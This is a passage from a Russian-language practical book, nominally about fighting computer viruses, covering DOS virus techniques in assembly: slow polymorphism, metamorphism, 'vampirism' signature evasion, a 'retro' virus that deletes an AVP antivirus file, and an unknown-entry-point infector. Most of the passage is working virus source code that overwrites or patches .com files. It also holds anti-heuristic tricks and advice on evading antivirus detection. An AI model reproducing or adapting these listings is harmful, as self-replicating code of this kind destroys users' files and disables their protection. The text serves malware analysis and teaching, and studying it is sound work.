Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
121 |
|
|
je preob |
; То преобразуем его по случайному закону |
cmp al,0f5h |
; Если текущий байт cmc, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0fch |
; Если текущий байт cld, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0fah |
; Если текущий байт cli, |
je preob |
; То преобразуем его по случайному закону |
jmp end_preob |
; Если это не мусорный байт, то не преобразовывать его |
preob: |
|
call random2 |
; Процедура преобразования байта |
end_preob: |
|
stosb |
; После преобразования кладем его на место |
loop generator |
; Обрабатываем всю таблицу блоков |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
random2: |
; Процедура преобразования байта |
in ax,40h |
; В ax помещается случайное число |
and ax,5 |
; Ограничиваем его диапазоном 0-5 |
xchg ax,bx |
; Полученное число помещаем в bx |
add bx,offset garbage |
; Добавляем к нему смещение таблицы мусорных байт |
mov al,[bx] |
; Помещаем в al случайный байт из этой таблицы |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
garbage: |
; Таблица мусорных байт |
nop |
|
clc |
|
stc |
|
cmc |
|
cld |
|
cli |
|
;---------------------------------------------- |
|
В данном блоке мусорные байты из таблицы блоков мутируют, т. е. каждый из них полностью изменяется на один из байтов таблицы garbage, который выбран по случайному закону. Рассмотрение подробно инструкций не является необходимым, так как они подробно комментированы.
Данный вирус является демонстрацией технологии полиморфизма на вирусе типа overwriter. Как вы можете догадаться, он легко может быть преобразован в любой тип — будь то паразит или компаньон.
Существует множество возможностей написания полиморфных вирусов. Мы рассмотрели лишь две, которые только дают основные представления о полиморфизме.
Полиморфизм с мутациями при каждом запуске был очень эффективен на заре этой технологии. Сейчас в постоянных мутациях кроется недостаток этой технологии, так как разработчики антивирусов могут вычислить алгоритм мутаций. Чтобы этого не случилось, необходимо использовать медленный полиморфизм.
Алгоритм медленного полиморфизма заключается в том, чтобы сделать мутации очень редкими, например, чтобы вирус мутировал раз в день или после каждого 20 запуска. Это затруднит разработчикам антивирусов вычисление ал-
122 |
DOS вирусы |
|
|
горитма мутаций. А пользователя это вообще может обмануть, и он подумает, что вирус вообще не мутирует.
Рассмотрим ту часть кода, которую нужно заменить в нашем полиморфном вирусе, чтобы он мутировал раз в 20 запусков.
Переходим к листингу:
;---------------------------------------------- |
|
|
random_mutation: |
|
|
mov |
ax,shetchik |
; В ax загружаем количество запусков программы |
cmp |
ax,0ffffh |
; Если оно равно 65535, то обнуляем его |
jne |
dalshe |
; Если нет, то переходим на метку dalshe |
mov |
shetchik,0 |
; Обнуление переменной shetchik |
mov |
ax,shetchik |
; И помещение ее в ax |
dalshe: |
|
; |
div |
ch2 |
; Делим количество запусков на 20 |
cmp |
ah,0 |
; Если остаток есть, |
jne |
not_polym |
; Значит, не мутируем |
call |
polym |
; Иначе это запуск кратен 20 и нужно мутировать |
|
|
; Нешифрованная часть мутировала |
mov |
ah,2ch |
; Переходим к мутации шифрованной части |
int |
21h |
; Получаем случайное значение |
mov |
encrypt_val,dl |
; И помещаем его в переменную encrypt_val |
not_polym: |
|
|
inc |
shetchik |
; Увеличиваем счетчик запусков. |
find_com: |
|
|
;---------------------------------------------- |
|
|
После метки find_com все остается, как и в обычном полиморфном вирусе. Данное добавление позволяет нашему вирусу мутировать один раз из 20 запусков.
Âданной части уместно затронуть тему метаморфизма. Метаморфизм заключается в том, что мутирует инфицирующая часть вируса и частично сам метаморфный генератор. Но при этих мутациях шифрование не производится
èпроизводятся мутации, аналогичные используемым в полиморфном вирусе для нешифрованной части. Данный вид мутаций вырос из полиморфных вирусов. Не составит большого труда избавить наш полиморфный вирус от шифрования и дописать блоки для остальных частей. Это и будет наш метаморфный вирус.
Ну, вот и все. В этой части мы обсудили полиморфизм, медленный полиморфизм, метаморфизм.
Âсмысле лечения полиморфные вирусы лечатся, как и обычные. Но вся сложность связана с их детектированием и анализом. Современные антивирусные продукты успешно справляются со многими полиморфными вирусами.
5.7. Вампиризм
Вампиризм — это сравнительно молодая вирусная технология. Данная технология направлена на обход антивирусных систем, смысл ее функционирования понятен из названия. Вирусная программа изначально не содержит какой-то
DOS вирусы |
123 |
|
|
части кода, которая позволила бы антивирусной программе идентифицировать данный вирус хотя бы как «подозрительный». И по сути, данная программа даже не вирус до того, как она запущена, потому что полноценным вирусом эта программа становится только во время выполнения.
В начале было сказано много слов, но пока, наверное, ничего не ясно. Чтобы все разьяснить, обратимся к следующему листингу.
Листинг :
;---------------------------------------------- |
|
|
|
cseg segment |
|
|
|
assume cs:cseg,ds:cseg |
|
|
|
org 100h |
|
|
|
start: |
|
|
|
mov |
ah,4eh |
; Поиск первого файла |
|
lea |
dx,file1 |
; |
|
int |
21h |
; |
|
infect: |
|
|
|
mov |
ax,3d01h |
; Открытие файла на запись (*) |
|
mov |
dx,09Eh |
; |
(*) |
int |
21h |
; |
(*) |
xchg ax,bx |
; Перезаписываем найденный файл |
||
mov ah,40h |
; Собой |
|
|
mov |
cx,finish-start |
; |
|
mov |
dx,100h |
; |
|
int |
21h |
; |
|
mov |
ah,3eh |
; Закрываем файл |
|
int |
21h |
; |
|
mov |
ah,4Fh |
; Ищем следующий файл |
|
int |
21h |
; |
|
jnc |
infect |
; Заражаем, пока файлы не закончатся |
|
int |
20h |
; Завершение программы |
|
file1 db '*.com',0
msg db '[+ sImPl3 0w3rwRit3 cHUm4 1.0 +] by s10n$'
finish: cseg ends end start
;----------------------------------------------
Данный вирус идентифицируется антивирусом, как «trivial based». Эта идентификация происходит благодаря строкам, отмеченным знаком «*». Но если убрать третью инструкцию из этого блока, то это уже будет не вирус. Следовательно, идентифицироваться он уже не будет. Если мы уберем просто эту строку, то вирус и работать перестанет.
Смысл вампиризма заключается в том, что мы эту строку прочитаем из ка- кого-нибудь системного файла во время исполнения программы, т. е. своего рода пропатчим память. А образ на винчестере данной программы не изменится, и антивирусом обнаруживаться не будет.
Теперь перейдем к листингу.
124 |
|
|
DOS вирусы |
|
|
|
|
;---------------------------------------------- |
|
|
|
cseg segment |
|
|
|
assume cs:cseg,ds:cseg |
|
||
org 100h |
|
|
|
start: |
|
|
|
;---------------------------------------------- |
|
|
|
|
|
|
; Сам код, который реализует вампиризм |
mov |
ax,3d00h |
; Открываем файл донора для чтения |
|
lea |
dx,vamp_f |
; íàø ôàéë ýòî c:\windows\system32\command.com |
|
int |
21h |
|
; |
xchg ax,bx |
; Хэндл в bx |
||
mov |
ax,4200h |
; Переходим к байтам по смещению 0DCh, которые |
|
mov |
dx,0dch |
; являются нужными нам 0CDh 021h |
|
xor |
cx,cx |
|
; |
int |
21h |
|
; |
mov |
ah,3fh |
; И читаем их в свой код по смещению buff |
|
lea |
dx,buff |
; |
|
mov |
cx,2 |
|
; |
int |
21h |
|
; |
mov |
ah,3eh |
; Закрываем файл донора |
|
int |
21h |
|
; |
;---------------------------------------------- |
|
|
|
mov |
ah,4eh |
; Поиск первого файла |
|
lea |
dx,file1 |
; |
|
int |
21h |
|
; |
infect: |
|
|
|
mov |
ax,3d01h |
; Открытие файла на запись |
|
mov |
dx,09Eh |
; |
|
buff: |
|
|
|
nop |
|
|
; Два мусорных байта, чтобы при чтении сюда int 21h |
nop |
|
|
; не затирался основной код |
xchg ax,bx |
; Перезаписываем найденный файл |
||
mov ah,40h |
; собой |
||
mov |
cx,finish-start |
; |
|
mov |
dx,100h |
; |
|
int |
21h |
|
; |
mov |
ah,3eh |
; Закрываем файл |
|
int |
21h |
|
; |
mov |
ah,4Fh |
; Ищем следующий файл |
|
int |
21h |
|
; |
jnc |
infect |
; Заражаем, пока файлы не закончатся |
|
int |
20h |
|
; Завершение программы |
file1 |
db '*.com',0 |
|
|
vamp_f |
db 'c:\windows\system32\command.com',0 |
||
finish: |
|
|
|
cseg ends end start
;----------------------------------------------
DOS вирусы |
125 |
|
|
В данной программе мы из системного файла прочитали два необходимых байта. Технология под названием «вампиризм» довольно проста для восприятия, но конкретные ее реализации будут не так просты, как эта, потому что либо написанный вирус при помощи этой технологии будет ориентирован на какую-то конкретную операционную систему, либо нужно будет реализовывать поиск необходимых байтов в различных файлах, что может привести к демаскировке вируса из-за продолжительности поиска.
Более удобным для использования я считаю автовампиризм. Данная технология есть более усовершенствованная технология вампиризма. Сам вирус является в этом случае и «кровососом», и «донором».
Рассмотрим следующий листинг:
;---------------------------------------------- |
|
|
|
cseg segment |
|
|
|
assume cs:cseg,ds:cseg |
|
||
org 100h |
|
|
|
start: |
|
|
|
;---------------------------------------------- |
|
|
|
|
|
|
; Сам код, который реализует автовампиризм |
lea si,src |
; В данном месте мы читаем и |
||
lea |
di,buff |
; переносим необходимые нам два байта из кода самого |
|
movsw |
|
; вируса |
|
;---------------------------------------------- |
|
|
|
mov |
ah,4eh |
; Поиск первого файла |
|
lea |
dx,file1 |
; |
|
int |
21h |
|
; |
infect: |
|
|
|
mov |
ax,3d01h |
; Открытие файла на запись |
|
mov |
dx,09Eh |
; |
|
buff: |
|
|
|
nop |
|
|
; Два мусорных байта, чтобы при чтении сюда int 21h |
nop |
|
|
; не затирался основной код |
xchg ax,bx |
; Перезаписываем найденный файл |
||
mov ah,40h |
; собой |
||
mov |
cx,finish-start |
; |
|
mov |
dx,100h |
; |
|
src: |
|
|
|
int |
21h |
|
; |
mov |
ah,3eh |
; Закрываем файл |
|
int |
21h |
|
; |
mov |
ah,4Fh |
; Ищем следующий файл |
|
int |
21h |
|
; |
jnc |
infect |
; Заражаем, пока файлы не закончатся |
|
int |
20h |
|
; Завершение программы |
file1 |
db '*.com',0 |
|
|
finish: |
|
|
|
cseg ends end start
;----------------------------------------------
126 |
DOS вирусы |
|
|
Данная технология является очень перспективной, благодаря тому, что образ программы на винчестере не изменяется.
Вот мы и закончили обзор данной технологии.
5.8. Ретро
Данная технология ориентирована на защиту вируса от антивирусов. Из всех перечисленных технологий она является наиболее агрессивной, потому как уничтожает файлы антивирусов. Возможны различные ее реализации, но смысл действия этой технологии таков: найти файлы антивирусов и стереть их.
Простейший вариант данной технологии, который мы рассмотрим, направлен на борьбу с одним из самых главных файлов AVP «kernel.avc». В данном примере вирус пытается удалить данный файл в текущей директории (а вдруг мы в папке антивируса). Можно исправить путь на наиболее часто используемый, например на C:\Program Files\Common Files\AVP Shared Files\ AVPBASES.
Переходим к листингу:
;---------------------------------------------- |
|
|
cseg segment |
|
|
assume cs:cseg,ds:cseg |
|
|
org 100h |
|
|
start: |
|
|
call retro |
; Вызов процедур удаления файла kernel.avc |
|
mov |
ah,4eh |
; |
lea |
dx,file1 |
; |
int |
21h |
; |
infect: |
|
|
mov |
ah,4eh |
; Поиск первого файла |
lea |
dx,file1 |
; |
int |
21h |
; |
infect: |
|
|
mov |
ax,3d01h |
; Открытие файла на запись |
mov |
dx,09Eh |
; |
int |
21h |
; |
xchg ax,bx |
; Перезаписываем найденный файл |
|
mov ah,40h |
; Собой |
|
int |
1h |
; Антиэвристика (чтобы поначалу спрятаться, хаметь будем потом) |
mov |
cx,finish-start |
; |
mov |
dx,100h |
; |
int |
21h |
; |
mov |
ah,3eh |
; Закрываем файл |
int |
21h |
; |
mov |
ah,4Fh |
; Ищем следующий файл |
int |
21h |
; |
jnc |
infect |
; Заражаем, пока файлы не закончатся |
int |
20h |
; Завершение программы |
DOS вирусы |
|
127 |
|
|
|
;---------------------------------------------- |
|
|
retro: |
|
|
mov ah,41h |
; |
|
xor cx,cx |
; |
|
lea dx,retro1 |
; Короткая процедура удаления файла антивируса |
|
int 21h |
|
; |
ret |
|
|
;---------------------------------------------- |
|
|
file1 |
db '*.com',0 |
|
retro1 |
db 'kernel.avc',0 |
|
finish: |
|
|
cseg ends |
|
|
end start |
|
|
;---------------------------------------------- |
|
|
Данная технология вообще тривиальна, поэтому особо на ней задерживаться не имеет смысла. Но от себя скажу, что для нормального использования данной технологии необходимо разобраться с функционированием различных антивирусов. Чтобы не получилось, что вы в папке антивируса удаляете файл с названием readme.txt и надеетесь, что после этого антивирус перестанет работать.
Ну вот, мы ознакомились еще с одной технологией.
А в этом вирусе нужно быть крайне осторожным при исследованиях. Антивирусная программа реализуется в течение нескольких минут.
5.9. Неизлечимость
Данная технология является одной из самых перспективных. По-другому она называется «неизвестная точка входа (UEP)». Для понимания функционирования данной технологии мы должны вспомнить, как размножаются в большинстве своем вирусы:
1)записывают переход на себя в начале файла, а себя в конец программы;
2)записывают переход на себя в начале файла, а себя в середину програм-
ìû;
3)себя полностью в начало, а после себя оригинальную программу;
4)себя в начало, а затертый вирусом кусок кода программы в конец программы.
Во всех этих способах инфицирования есть одна большая общая черта — первым управление получает вирус, что позволяет его выделить, а после и изле- чить. Если обнаруживший вирус программист сам в нем не разобрался из-за шифрования и других трюков, то что ему мешает отнести данный вирус, например, к антивирусам? Но если вирус будет перехватывать управление где-нибудь посреди программы, то даже опытному программисту, не говоря уже об антивирусных программах, может быть не под силу обнаружить его.
Итак, как мы будем реализовывать наш вирус с использованием технологии неизлечимости? Смысл в том, чтобы заменить какие-нибудь байты на call xxxx. Мы будем заменять на вызов процедуры, потому что не нужно будет запоминать адрес, по которому нужно будет возвращать оригинальные байты (он будет храниться в стеке).
128 |
DOS вирусы |
|
|
Для написания данного вируса нам нужно немного побольше узнать об опкодах. К примеру, инструкция «mov ah,09h» в двоичном виде выглядет так: «B4 09». А «mov ah,0ffh» будет «B4 FF». Из этого мы видим, что для того, чтобы создать инструкцию «mov ah,45h» в двоичном виде, нам необходимо к «B4» добавить «45», и все — инструкция готова.
Это необходимо для того, чтобы мы не пытались внедряться в данные и не портили основной код.
Главная проблема в реализации неизлечимости — это проблема границы кода. Данная проблема заключается в том, что если мы не попадем на границу кода, то программа, доработав до нашего call'a, может обрушиться.
Рассмотрим это на примере:
;---------------------------------------------- |
|
mov dx,2 |
; В hex это будет выглядеть так: BA 00 02 B4 09 |
mov ah,09h |
; |
;---------------------------------------------- |
|
К примеру, мы ищем инструкцию «mov ah,xx» и заменяем ее на наш call. Представим, что наш вирус прочитал представленный выше код, и после инфицирования он будет выглядеть так:
;---------------------------------------------- |
|
mov dx,2 |
; В hex это будет выглядеть так: BA 00 02 E8 FE FA |
call next |
; |
;---------------------------------------------- |
|
В этом случае мы попали на границу кода. Рассмотрим другой пример, более интересный:
;---------------------------------------------- |
|
mov dx,0B4h |
; В hex это будет выглядеть так: BA 00 B4 B4 09 |
mov ah,09h |
; |
;---------------------------------------------- |
|
После инфицирования нашим вирусом данный код изменится следующим образом:
;---------------------------------------------- |
|
|
mov dx,E800h |
; В hex это будет выглядеть так: BA 00 E8 FE FA |
|
db |
FEh |
; После инфицирования ни вирус, ни программа не получат |
cli |
|
; управление. |
;---------------------------------------------- |
|
|
И работать не будут ни вирус, ни программа. Надеюсь, я вас убедил, что очень важно попасть на границу кода. Но как это сделать? Во всех DOS-про- граммах используются вызовы DOS-функций. К примеру, вот вызов функции вывода строки:
;---------------------------------------------- |
|
mov ah,09h |
; Номер функции |
int 21h |
; вызов прерывания |
;---------------------------------------------- |
|
Как вы догадались, DOS-функции вызываются довольно часто, но этих функций довольно много. Для инфицирования программы нам нужно искать
DOS вирусы |
129 |
|
|
данные байты по следующей маске: «0B4,??,CD,21», которая уже с достаточно большой вероятностью позволяет попасть на границу кода. Но заполнение регистра может происходить и через весь ax регистр. Это стоит учитывать и можно смотреть по другой маске «B8,??,??,CD,21».
Итак, после разбора проблем перейдем к реализации данного метода инфицирования.
Переходим к листингу:
;---------------------------------------------- |
|
|
|
|
cseg segment |
|
|
|
|
assume cs:cseg,ds:cseg |
|
|
||
org 100h |
|
|
|
|
.286 |
|
|
|
|
start: |
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
call delta |
; |
Вычисляем дельта-смещение |
|
delta: |
pop |
bp |
; |
|
|
sub |
bp,offset delta |
; |
|
|
pop [bp+addr] |
; |
Восстанавливаем из стека адрес возврата |
|
|
pusha |
; |
Сохраняем все регистры |
|
;---------------------------------------------- |
|
|
|
|
restore: |
|
|
|
|
|
mov ax,[bp+addr] |
; |
Проверяем, если адресс возврата |
|
|
cmp |
ax,0 |
; |
равен нулю, то восстанавливать байты |
|
je |
not_rest |
; |
не нужно |
|
sub |
ax,3 |
; |
Иначе вычисляем новый адрес возврата |
|
lea |
si,[bp+orig_bytes] |
; |
И восстанавливаем оригинальные байты |
|
mov |
di,ax |
; |
|
|
movsw |
; |
|
|
|
movsw |
; |
|
|
not_rest: |
|
|
|
|
|
mov |
[bp+addr],ax |
; |
Новый адрес возврата сохраняем в переменную |
;---------------------------------------------- |
|
|
|
|
|
lea dx,[bp+new_dta] |
; |
Устанавливаем новый DTA |
|
|
mov |
ah,1ah |
; |
|
|
int |
21h |
; |
|
|
mov |
ah,4eh |
; |
Вызываем функцию поиска первого файла |
|
lea |
dx,[bp+file1] |
; |
|
|
int |
21h |
|
; |
infect: |
|
|
|
|
|
mov ax,3d02h |
; |
Открываем его для чтения/записи |
|
|
lea |
dx,[bp+new_dta+30] |
; |
|
|
int |
21h |
; |
|
|
xchg ax,bx |
; |
|
|
|
mov |
ax,word ptr [bp+new_dta+26] ; Сохраняем размер файла в одноименной |
||
|
mov |
word ptr [bp+size1],ax |
|
; переменной |
|
jmp testing |
; Переходим на проверку инфицированности |
||
vozvrat: |
|
|
|
|
|
xor si,si |
; Обнуляем si |
||
work: |
|
|
|
|
|
mov |
ah,3fh |
; Читаем один байт из этого файла |
|
130 |
|
DOS вирусы |
|
|
|
mov cx,1 |
; |
|
lea dx,[bp+try] |
; |
|
int 21h |
; |
|
cmp si,[bp+size1] |
; Проверяем, не конец ли это файла |
|
je close |
; Если конец, то переходим к закрытию файла |
|
inc si |
; |
|
cmp byte ptr [bp+try],0b4h |
; Проверяем, не является ли прочитанный байт |
|
jne work |
; началом инструкции "mov ah,xx" |
|
call inf |
; Если является, проверяем дальше |
|
close: |
|
|
mov ah,3eh |
; Закрываем файл |
|
int 21h |
; |
|
mov ah,4Fh |
; Ищем следующий |
|
int 21h |
; |
|
jnc infect |
; Если нашли, то пытаемся заразить |
|
push [bp+addr] |
; Кладем новый адрес возврата в стек |
|
popa |
|
; Восстанавливаем все регистры |
ret |
|
; Переходим по новому адресу возврата |
;---------------------------------------------- |
||
inf: |
|
; Процедура проверки на "B4,??,CD,21" |
dec si |
; Уменьшаем si, чтобы указывал на первый байт |
|
mov ah,3fh |
; Читаем из файла после "B4" еще три байта |
|
mov cx,3 |
; в переменную buff |
|
lea dx,[bp+buff] |
; |
|
int 21h |
; |
|
mov ah,byte ptr [bp+buff[1]] |
; Проверяем, равны ли последние два байта |
|
mov al,byte ptr [bp+buff[2]] |
; "CD 21" |
|
cmp ax,0cd21h |
; |
|
jne fin |
; Если нет, то переходим на fin |
|
call attack |
; Если равны, то начинаем инфицирование |
|
pop |
ax |
; После инфицирования редактируем адрес |
lea |
ax,[bp+close] |
; возврата, чтобы он указывал на функцию |
push ax |
; закрытия файла, и переходим по этому адресу |
|
fin: |
|
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
||
attack: |
|
; Процедура инфицирования |
mov ax,4200h |
; Переходим на начало байт "B4,??,CD,21" |
|
xor cx,cx |
; |
|
mov dx,si |
; |
|
int 21h |
; |
|
sub [bp+size1],6 |
; Вычисляем, куда должен указывать call, |
|
|
|
; чтобы вирус получил управление |
mov ah,40h |
; Записываем call вместо обнаруженных байт |
|
int 1h |
; Антиэвристика |
|
lea dx,[bp+fuck] |
; |
|
mov cx,4 |
; |
|
int 21h |
; |
|
